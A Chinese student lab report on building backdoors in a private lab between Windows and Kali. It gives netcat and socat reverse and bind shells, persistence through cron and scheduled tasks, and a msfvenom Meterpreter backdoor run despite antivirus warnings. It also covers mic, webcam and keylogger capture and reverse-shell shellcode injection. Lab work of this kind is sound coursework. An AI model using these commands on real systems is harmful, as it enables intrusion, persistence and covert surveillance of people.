Exp2 后门原理与实践
一、实验目标与基础知识
1.1实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
1.2 基础知识
1. 什么是后门?
后门是指绕过安全性控制而获取对程序或系统访问权的方法。
2. 常用后门工具
Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。
Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。
Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。
PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。
InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。
Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。
二、常用后门工具实践
任务一:Windows获得Linux Shell
1.windows使用ipconfig指令查看本机ip:192.168.0.107
2.输入nc.exe -l -p 4305 监听本机4305端口
3.在kali中,输入nc 192.168.0.107 反向链接windows主机的4305端口
如下图:
任务二:Linux获得Windows Shell
1,在kali中查看ip:192.168.0.109。
2,在kali终端输入nc -l -p 4305.
3,在windows,输入nc.exe -e cmd.exe 192.168.0.109 4305 反向链接kali主机的4305端口。
4,kali下可见windows的命令,如下图查ip地址。
任务三:了解Meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
三,实验内容
1,使用netcat获取主机操作Shell,cron启动
(1) 在Windows系统下,监听4305端口。
(2)在Kali环境下,用crontab -e指令编辑一条定时任务。
(3) 在最后一行添加18* * * * /bin/netcat 192.168.0. 107 -e /bin/sh意思是,每个小时的第18分钟反向连接Windows主机的4305端口。
(4)到时间,可获取kali的shell。如下图。
2,使用socat获取主机操作Shell, 任务计划启动
- socat是ncat的增强版,它使用的格式是socat [options]<address> <address>,其中两个address是必选项,而options 是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
1、 打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”
2、创建任务
3、 并新建一个触发器
4、在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4305exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4305,
5.、 创建完成之后,按锁定计算机,事件就启动了,再次解锁打开电脑操作往后做。如下图。
6、 此时,在Kali环境下输入指令socat- tcp:192.168.0.107:4305
- 这里的第一个参数-代表标准的输入输出
- 第二个流连接到Windows主机的4305端
此时可以发现已经成功获得了一个shell。
3,使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1,在kali中输入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.130 LPORT=4305 -f exe > 4305_backdoor.exe,
生成后门程序如下图所示。
2,在Windows命令行中进入ncat目录下,执行命令ncat.exe -l 4305 > 4305_backdoor.exe,然后在kali中执行命令nc 192.168.116.1 4305 < 4305_backdoor.exe,执行完毕后,Windows成功接收到了该文件:如下图所示
3,在kali中,先后输入:
-use exploit/multi/handler
-set payload windows/meterpreter/reverse_tcp
-set LHOST 192.168.159.130
-set LPORT 4305
-exploit
然后在Windows里执行4305backdoor.exe,忽略杀软提示继续执行。
这样可以成功建立连接。
4,使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1、 使用record_mic指令可以截获一段音频
2、 使用webcam_snap指令可以使用摄像头进行拍照
3、 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
4、 使用screenshot指令可以进行截屏
可选加分项:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.生成shellcode
搜索并下载一个【linux/x86 - Reverse】的文件,用记事本打开查看里面的机器码。
结合实验一的内容查看shellcode的地址。
可得shellcode的地址为0xfffe6180,修改input文件。
2,注入msf
打开领一个终端,打开msf控制台,输入以下指令。
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
show options
exploit
3,在另一终端输入指令,可获得shell
四,实验感受与总结
1,问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
恶意捆绑软件。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
windows:自启动。
linux:输入shellcode。
(3)Meterpreter有哪些给你映像深刻的功能?
可以灵活获取主机的操作和内容。
(4)如何发现自己有系统有没有被安装后门?
电脑管家实时防护检测。
2,实验心得
本次实验更让我体会到了网络对抗技术的重要,虽然只是一是很小的软件,却能做到如此强大的功能,可见真正的网络黑客是多么的强大与可怕。所以我们在平时生活中一定要谨小慎微,谨慎安装程序与软件,不给黑客们可乘之机。